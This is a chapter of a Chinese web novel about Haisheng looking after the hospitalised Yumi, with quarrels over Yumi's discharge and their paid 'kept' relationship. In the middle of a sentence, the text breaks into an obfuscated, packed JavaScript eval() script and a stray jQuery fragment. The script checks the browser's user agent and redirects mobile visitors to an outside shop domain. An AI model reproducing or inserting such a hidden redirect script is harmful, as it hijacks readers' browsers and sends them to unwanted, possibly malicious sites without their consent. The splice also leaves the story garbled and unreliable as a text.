万幸,郁弥到了第二天下午的时候,就有了转醒的迹象。海生趴在他的床边,难受到他的手指轻微地颤动,立刻醒了过来。
“郁弥,你感觉怎么样?”同时按下了护士站的铃声。
护士带着医生一同走进病房,将郁弥围住。海生让开位置,落到了最后,他看见郁弥的眼球滚动,慢慢地睁开了眼睛。
他花了很长一段时间才意识到自己在什么地方,配合地回答着医生的询问。他的声音很轻,飘忽不定,还未彻底清醒。只是视线穿过围在周围的医护人员,一眼就对上了海生温煦的视线。
海生朝他微微一笑。
郁弥重新闭上了眼睛,氧气输进他的肺里,让他的呼吸变得轻柔而平缓,心电图规律地起伏着。
海生终于放下心来。
等医生们走后,海生重新回到他的身边。郁弥想要坐起来,又被他按回了床上,“你现在什么都别想,好好休息。”
海生的声音很疲惫,郁弥看了眼他的表情,轻轻地摇了摇头,抬起插着输液针的左手放在他的手背上。
“我也好困……”海生打了个哈欠,紧张如潮水般褪去后,困意开始泛滥。他快一天一夜没有睡觉了。
“你一直都在吗?”郁弥问道。
“是啊……”海生的句子断断续续的,“你醒来的时候,最想看到的应该是……这张脸吧。”
“那就陪我睡一会儿吧。”
海生已经没法回答他了,他趴在郁弥的床边,沉沉地睡着了。
感觉到身边的重量,郁弥艰难地伸出另一只手,撩开了海生额前的头发,用指尖描绘着他的眉眼。
他快要分不清现实和梦境了。
海生在梦中不安地握紧了他的手,郁弥一下子被烫到似的移开目光,无声地注视着白色的天花板。
但哪怕是噩梦,他也希望能持续地更久一些。
郁弥的身体情况打乱了他们本来的计划。
“我给自己放了五天年假。”
海生不知道说他什么好,怎么有人会把住院当成年假来休息的。但这几天确实没有额外的麻烦来找他们。但海生目前最要紧的工作却变成了照顾郁弥,每天去医院陪着郁弥。
他担心自己回去的时候郁弥一个人在医院待着无聊,每天依照约定从家里带一本书过去,再把郁弥看完的书带回来。
郁弥心情好的时候还开了个玩笑,“好像读书盲盒。”
开始期待明天海生会给他带什么书。
地下室里有一面墙,全部做成了书架。海生一开始还以为这是买来装饰的,用来调和满是金属和机械电子器件的工作室。没想到郁弥是真的喜欢读书,书架上的大部分书里都夹着书签,标记出他阅读到哪里,里面还有他随手写下的笔记。
而且当郁弥突然想要看哪本书的时候,他会直接告诉海生书放在哪一层哪一格。
于是当海生走进病房的时候,郁弥正好放下了手中的书。静谧的空间被打破,时间重新流动起来,海生恍惚间产生了一种错觉,仿佛郁弥就是为了这一刻一直在等着他。
好像薛定谔盒子里的猫。
在专业老师的教学下,海生的学习进度很快,仿佛知识在脑子里被唤醒,已经能跟上郁弥的思维了。
躺在病床上的郁弥褪去了凌厉的外壳,散下的黑发柔和了他的表情,看起来甚至多了几分乖巧。
海生心想,他跟危不倚同年,也比郁弥大三岁,听他喊哥哥完全没有心理负担。
他的脸色依旧苍白,却比那天晚上要好多了。海生仍是心有余悸,不许他多费心神,“小心眼睛。”
“但我本来就是文科生。”书被海生从手中抽走,郁弥隐晦地对海生表达了一点不满,“这本书很没意思,翻几页就看完了,明天换一本吧,书架第二排第三格有本我看到一半的。”
海生昨天给他带来的是《健康是吃出来的》。他不记得自己有买过这种类型的书,大概是危不倚偷偷塞进来的,现在被海生拿过来了。
他不是不信,只是觉得没什么用处,而且没什么时间。
“你不是想当医生吗?”
郁弥并不意外,“宋骐告诉你的?”
海生点头。
郁弥盯着他的表情,忽而笑了,“你是不是觉得这是遗憾?”
海生不语,但眼神里透露出来的意思,他就是这么想的。
郁弥的笑意越来越大,“你以为我是为了他才放弃自己的梦想?不,没有这回事,我只是觉得学法律更适合我。”他眼波流转间,告诉海生,“学医救不了危不倚。”
但是这种感觉并不差,在这个世界上还是有人关心他最初的梦想,即使那个梦想是懵懂而幼稚的。
郁弥耐心地解释道:“我并不适合当医生,我没有办法每天面对那么多生病的人,面对他们的痛苦。这是我的软弱,我从不否认。人的想法是会变的,我们小时候谁没有过那种不切实际的梦想,尤其是当重要的人受到病痛折磨的时候,但渐渐地,我就知道自己会成为什么样的人了。”
“法律是人类意志的体现,它公正严谨,让一切规律有迹可循。”说起他感兴趣的事情时,郁弥的眼睛会闪闪发光,像明亮的黑曜石。
郁弥似乎不管做什么,都会全力以赴做到最好。
“今天给我带了什么书?” 郁弥看向海生的右手,言辞间多了几分亲近,他已经习惯了海生每天一到时间就会陪在自己的身边。
“先吃饭再给你。”海生故意将书放在郁弥够不到的窗台上。
“医院的营养餐其实味道还行。”
“那我拿回去了,今天做了糖醋排骨。”
“……”郁弥思考后郑重说道,“跟你做的是完全不能比的。”
海生这才笑了,“只是一些家常菜,不费多少时间,正好我也可以跟你一起吃。”
他帮郁弥坐起来,细心地拿了只靠枕垫在他的腰后,抬起床桌,打开保温食盒后香味立刻飘了出来。
郁弥顿时觉得自己饿了。
“我今天做了松茸鸡汤,把油都撇干净了。”他盛了一碗,先递给郁弥,让他润润胃。
郁弥拿起勺子,低
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722803|144883||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
头喝了一口鸡汤,称赞道:“很好喝。”
鸡汤不烫不冷,温度正好,味道又十分浓郁,还有吸饱了汤汁的松茸增加风味。
“鸡汤用下来的做了手撕鸡,还有酱蒸茄子和白灼菜心。”
郁弥有糖醋排骨吃,其他的菜就不会挑剔了。海生已经摸到了与郁弥相处的规律,郁弥一些隐藏的小需求被满足时他就会变得非常好相处。甚至还有几分孩子气,就着糖醋排骨还多吃了两口饭。
投喂成功让海生莫名地获得了满足感。“明天想吃什么?”他边问边走到了窗边,挂起窗帘,打开玻璃窗给房间通气。
这个季节雨水充沛,他来的时候刚好遇上一场大雨,现在倒是小了,雨水像丝线一样垂落进医院的水塘里,泛起阵阵涟漪。
郁弥将最后一口汤喝完,不徐不疾地开口:“我打算后天出院。”
这不是商量,而是告知。
“这么快,是出了什么事情吗?”
“公司遇到一些问题,等着我回去处理。”
海生有些生气,“难道这公司离了你就会倒闭不成?”
“我是做出决定的人。”郁弥下意识地说道。自危不倚失踪后,他就成了明面上的负责人。他看着海生,一字一句地说道:“我必须替他守好公司,完整地还给他。”
海生欲言又止,再开口时语气中透着自己都没有发现的无奈:“医生让你最好再休息一段时间。郁弥,就算不让危不倚担心,你也应该照顾好自己的身体。”
“这跟他有什么关系,”郁弥皱眉,“哪怕他在我的身边,也不会替我做决定。”
海生顿了下,“那这次是你运气好,如果再晚一点……”那是他不愿面对的结果,只要一想到就仿佛要窒息。
医生告诉他,郁弥患有先天性心脏病,保守治疗的效果有限,最好尽快进行手术。
可郁弥没有察觉到他的变化,也不想继续纠缠这件事,干脆扯开话题,“我还没向你道谢,你想要什么礼物?”
“我不需要礼物。”他从郁弥这里得到的已经够多了。
难道他们之间只能谈这个吗?
海生说道:“在你厌倦之前我会恪守自己的义务……除非你想提前结束。”
“我没有这个意思,”郁弥抬起下巴,作出防御的姿态,“但的确应该定下一个期限。”
海生的目光落在他的脸上,不由地露出一丝苦笑,“你还需要我多久?”
言下之意是问危不倚还有多久会回来。
“我可以给你一个承诺,最多不超过三个月,钱和自由都会还给你。”
海生自嘲地笑了,“我从没想过钱能这么好赚。”他得到了郁弥的承诺,却不知为何心中却像是被某种酸涩的情绪剜了个大洞。
而这种情绪在对峙中被扩大,像癌症的细胞一样滋生。
“李海生,”郁弥喊出了他的全名,语气和表情都变回了他们初见时的模样,“我们是什么关系?”
“如您所见,郁先生。”海生十分客气,却又报复似的用词暧昧,“是包养与被包养。”